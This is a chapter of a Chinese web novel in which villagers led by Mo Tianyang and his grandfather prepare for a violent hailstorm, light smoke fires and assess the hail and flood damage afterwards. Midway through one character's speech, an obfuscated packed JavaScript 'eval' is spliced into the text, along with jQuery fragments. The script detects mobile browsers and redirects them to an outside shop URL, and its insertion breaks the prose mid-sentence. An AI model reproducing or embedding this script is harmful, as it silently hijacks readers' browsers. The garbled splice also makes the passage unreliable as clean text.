第四百四十九章天灾

作品:《随身灵泉

    他首先找到正在指挥人手从仓库往外搬运草帘的胡标,将爷爷的话原原本本复述一遍,尤其强调了堆柴点火的位置安全和防风防火。“标叔,西南上风口,远离胡杨、红柳,特别是那些枯死的树木!堆好了派人死守!菜地苗圃,能盖的马上盖!学校新建的房舍也检查一遍!”


    “明白了!”胡标脸色绷紧,扯着已经有些沙哑的嗓子吼道,“二狗!带人去西南坡老碾盘那边堆柴草,小心火!三哥!领人把库房所有能苫盖的东西都搬出来,先紧着天扬的试验田和那些稀罕菜!柱子!带几个手脚利索地去学校!”


    整个青木村如同被投入石子的池塘,涟漪迅速扩散成波浪。原本热闹的集市,刘思雨和徐月茹带着几个口齿伶俐的村民,分头快步穿梭在各个摊位间,声音清晰而镇定地传达着紧急通知。


    “各位乡亲、各位朋友!下午、最迟到傍晚有强雷雹大风天气,为了大家安全,集市提前结束!请大家尽快收拾物品,寻找坚固场所躲避!收拾时注意安全!”


    起初有人疑惑、抱怨,但看到村里人前所未有的紧张忙碌,再抬头看看虽然依旧明亮却仿佛蒙了一层**玻璃似的日头,一股不安迅速蔓延开来。


    随后他们知道这消息是去年预知白毛风的老爷子说的,摊主们不再犹豫,手忙脚乱地开始收摊,顾客们也纷纷提着买到的东西匆匆离开。喧嚣的集市以惊人的速度冷清下来,只剩下凌乱的空地和零星来不及带走的杂物。


    莫啸站在楼前,浑浊却依然清明的眼睛望着西北天空,嘴里喃喃念叨着古老的农谚。石普雷已经组织在校的师生,帮助工人们检查新校舍的门窗,并将一些怕潮的教具、书籍转移到干燥安全处。


    莫天扬则像一道旋风,在各个关键点之间穿梭。他去看了正在堆砌的柴草垛,撒了水的麦秸和茅草堆成了小山,“大家伙记住,到时候点燃了麦秸之后,马上就躲进铁皮房”。


    胡标抹了把脸上的汗,凑过来汇报,“柴草堆了六个点,都有人看着。宏利那边买了七车麦秸,马上回来,菜地、试验田能盖的都盖了,盖不完的……听天由命吧。集市那边人也散得差不多了。学校也检查了。”


    莫天扬点点头,抬眼望向天空。不知何时,那轮烈日周围的青色光晕似乎更明显了一些,而西北天际,原本湛蓝的天空边缘,不知何时聚起了一线灰暗的、铅云般的影子,正以一种缓慢却无可阻挡的姿态向着青木村的方向推移。


    风,不知何时完全停了,空气中的闷热感达到了顶点,让人喘不过气,一种暴风雨来临前特有的、死寂的压抑笼罩了四野。


    “通知所有人,最后检查一遍,然后全部撤回屋里、院里!没有通知,谁也不准出来!”莫天扬沉声下令。


    最后的忙碌和嘈杂也迅速平息。家家户户门窗紧闭,鸡鸭入笼,牲口归圈。青木村仿佛一下子被抽空了声音,只剩下无边无际的、令人心慌的寂静,以及西北天边那越来越近、越来越厚重的乌云。


    莫天扬回到大院,和爷爷莫啸一起站在屋檐下。刘思雨、徐月茹、胡标、陈峰等核心几人也都聚了过来,人人面色凝重,望着天空。


    康燕冰、陈亮、张自强都看向神色凝重的莫啸,“老爷子,我联系了县里、市里,卫星云图上没有冰雹的云层。”


    莫啸摇摇头,“青木山和其他地方不同,午后至多到晚上肯定有大冰雹。”


    “胡标,周围村子……”


    “莫叔,您在十里八乡的声望不低,去年要不是您预判有白毛风,不知道要死多少人,大家伙听到时您说的,都在自救。”


    ……


    那铅灰色的云墙越推越近,颜色越来越深,边缘翻滚,仿佛藏着无数狰狞的巨兽。云层底部,隐隐有灰白的光晕流动,那是冰雹云特有的“乳状云”结构。空气中的寒意越来越重,与地面的余热交织,形成一种古怪的、令人皮肤起栗的温差。


    “来了。”莫啸老爷子干涩地吐出两个字。


    仿佛是为了验证他的话,西南方向陡然传来一阵沉闷的、如同万千闷鼓同时擂响的轰鸣!那不是雷声,而是冰雹云内部气流剧烈翻腾、冰晶碰撞挤压形成的恐怖声响!


    紧接着,天色以肉眼可见的速度暗了下来,不是夜晚的降临,而是一种昏沉窒息的、仿佛世界末日般的晦暗。狂风毫无征兆地平地而起,不再是午后的凉风,而是带着刺骨寒意和巨大力量的狂飙,卷起地上的沙土、落叶,抽打得房屋门窗噼啪作响。


    “点火!”莫天扬用电话对守在外面的王海龙他们吼道。


    几乎在命令下达的同时,西南方向多处区域预先选定的上风处,一股浓烟挣扎着在狂风中笔直升起,随即被撕扯成扭曲的烟柱,但依然顽强地向着压顶的乌云方向飘去。干燥柴草燃烧特有的焦糊气息,混合着尘土的味道,被风带了过来。


    浓烟是否能起作用,无人知晓。此刻,所有人的心都提到了嗓子眼。


    乌云终于吞噬了最后一角蓝天,彻底笼罩了青木山上空。天光彻底暗淡,如同提前进入了黄昏。狂风怒吼,飞沙走石。


    然后,第一颗冰雹砸了下来。


    不是雨滴,而是指甲盖大小、坚硬冰冷的白色颗粒,跟着原本还能看到的青木山变成了一片白色,白色混杂了天空的黑色,让每一个人心里都是无比恐惧。


    但这仅仅是前奏。


    短短几秒钟后,冰雹的个头和密度骤然升级!黄豆大、杏核大、乒乓球大……裹胁着惊人的速度和力量,铺天盖地地倾泻而下!


    莫天扬紧紧握着拳,指甲深深陷入掌心。他拿出电话拨通了王海龙的号码。“海哥,那边是什么情况。”


    “比鸡蛋还大的冰雹,好在搭建的都是多层铁皮,没问题,燃起来的草垛很管用,冰雹过去就变成了小冰雹,戈壁滩那边的冰雹已经很小,菜地、农田影响不会太大。”


    “那就好,我这边已经变成了暴雨,”


    暴雨如注,足足下了十几分钟,当暴雨变成细雨,莫天扬第一个冲出院子。


    院外的菜地,被暴雨洗刷之后,哪怕是沙地都是水流如注,隔着老远更是能听到雀沟中水流冲刷的声音。


    胡标已经带着人开始冒雨检查损失……


    戈壁滩,这片开阔之地首当其冲,承受了冰雹最猛烈的第一波冲击。放眼望去,无论是综合养殖基地,还是更远处的杏林、酸溜溜林,事先紧急铺盖的厚实草帘此刻都沉甸甸地塌陷着,上面堆积了厚厚一层尚未完全融化的冰雹,最小的如豆粒,最大的竟有鸡蛋大小,在渐渐微弱的天光下泛着惨白的光泽。


    杏树林已然面目全非,原本茂密的叶片几乎被一扫而空,只剩下光秃秃的枝桠倔强地指向灰蒙蒙的天空,在寒风中瑟瑟发抖。那些未能被草帘覆盖的区域,尤其是原本长势喜人的苜蓿地,更是遭到了毁灭性的打击,放眼望去,地面一片狼藉的银白,残存的绿色被彻底掩埋在冰雹之下。


    这场突如其来的狂暴冰雹,让青木村的气温在短短时间内骤降了十几度。先前的闷热荡然无存,刺骨的寒意弥漫开来,即使穿着厚外套的人们,也忍不住打着寒战,呼出的气息都凝成了白雾。


    养殖场内,莫天扬找到了留守查看的曹勇。曹勇裹着一件旧军大衣,脸色冻得有些发青,但眼神还算镇定。


    “勇叔,养殖场这边情况怎么样?”莫天扬快步上前询问。


    “万幸,主体结构没塌,牲口也都及时赶进最结实的棚里,没出大乱子。”曹勇搓了搓冻僵的手,指着四周,“


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17078741|177151||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    就是损失也不小。几乎所有玻璃窗全被砸碎了,不少铁皮屋顶也被砸得坑坑洼洼,有些地方裂开了口子。碎裂的玻璃碴掉下来,砸**一些没来得及完全避开的鸡鸭。最麻烦的是外面那些养殖蚂蚱的纱帐棚,几乎全毁了,里面的蚂蚱……没剩几只。”


    莫天扬听了,稍微松了口气,人畜安全是底线。“蚂蚱昨天已经出了一批,剩下的损失还能承受。人没事就好,您和留下的几位叔伯都辛苦了,没受伤吧?”


    “我们都没事,一直躲在砖房里。”曹勇摇头,随即忧心忡忡地看向外面,“就是这温度降得太狠,得赶紧想办法给牲口保温,别冻出病来。”


    “我明白,等会儿就安排。”莫天扬点头,又抬眼望向雀沟方向,“我得去雀沟看看,下了这么大的雹子,山上肯定有山洪下来。”


    还没走到雀沟边,轰隆如闷雷般的巨大水声便已传入耳中。等莫天扬赶到堤坝上,只见眼前景象令人心惊:原本清澈潺潺的雀沟,此刻已化作一条浑浊狂暴的黄龙,裹胁着大量尚未融化的冰雹和断枝败叶,从上游奔腾咆哮而下,水位正以肉眼可见的速度疯狂上涨。


    浑浊的洪水猛烈冲击着两岸,尤其是原本长势旺盛的白菜地,此刻成了山洪肆虐的重灾区。一片片鲜嫩翠绿的白菜被连根拔起,卷入急流,瞬间消失在翻涌的浪涛中。浑浊的水面上漂浮着厚厚一层白色冰雹,乍看之下,仿佛整条河沟都在极寒中冻结,而冰层之下,却是毁灭性的洪流在涌动。


    看着大片被洪水无情吞噬的菜地,莫天扬也只能无奈地摇头。时间太过仓促,尽管事先在雀沟做了一些导流和加固的准备,但在如此迅猛的山洪面前,这些努力显得杯水车薪,白菜的损失看来是难以避免了。


    这时,胡标也深一脚浅一脚地赶了过来,裤腿上沾满了泥浆,脸上带着疲惫和后怕。


    “天扬,”他喘着气汇报,“山上的情况更糟。咱们种的那些抗旱苜蓿,几乎全毁了,一眼望去,白茫茫一片,看不到一点绿。胡杨和红柳也被打折、打秃了不少,山皮像是被剃了一遍。”


    “菜地和农田呢?”莫天扬更关心这个。


    胡标脸上总算露出一丝庆幸:“多亏了老爷子,点火的地方都选在远离农田的上风口。听上去的人回来说,那边落下的雹子最大真有拳头大小,砸在地上跟炮弹似的。多亏了那些浓烟,起了作用!咱们田地和主要菜地区域,只边缘落下些小冰粒子,大部分菜地根本没见着雹子。就是这场雨太急太猛,有些西红柿、黄瓜架子被冲倒了,掉了一些。”


    他说着,也看向汹涌的雀沟,叹了口气:“眼下损失最大的,恐怕就是这雀沟两边的菜地了。洪水太猛,根本挡不住。”


    莫天扬最关心的还是人员安全:“上山点火的人都平安回来了吧?”


    “都回来了!”胡标肯定道,“就是一个个冻得够呛,嘴唇都紫了,但没人受伤,已经安排他们喝姜汤取暖去了。”


    “村里其他人家呢?”


    “村里基本没事。”胡标答道,“就是风大雨急,有几户老房子窗户玻璃被吹来的杂物打碎了,人都没事。村里不少人都念叨,多亏了莫叔提前看出来,让大伙儿赶紧躲。不然,就刚才那阵势,人在外面,不被砸死也得重伤!刚才还有好几个人要过来当面谢老爷子呢。”


    莫天扬点点头,又问:“周围村子情况怎么样?”


    胡标神色凝重了些:“雹子这玩意,‘蛋打一条线’。咱们附近几个村子听说也落了小冰雹,损失不大。但浅驼镇那边,有村子正好在雹线上,听说遭了灾,地里庄稼被打得稀烂,更惨的是……听说还**好几个人,都是雹子来之前没当回事,还在外面干活或者走动,没来得及躲……”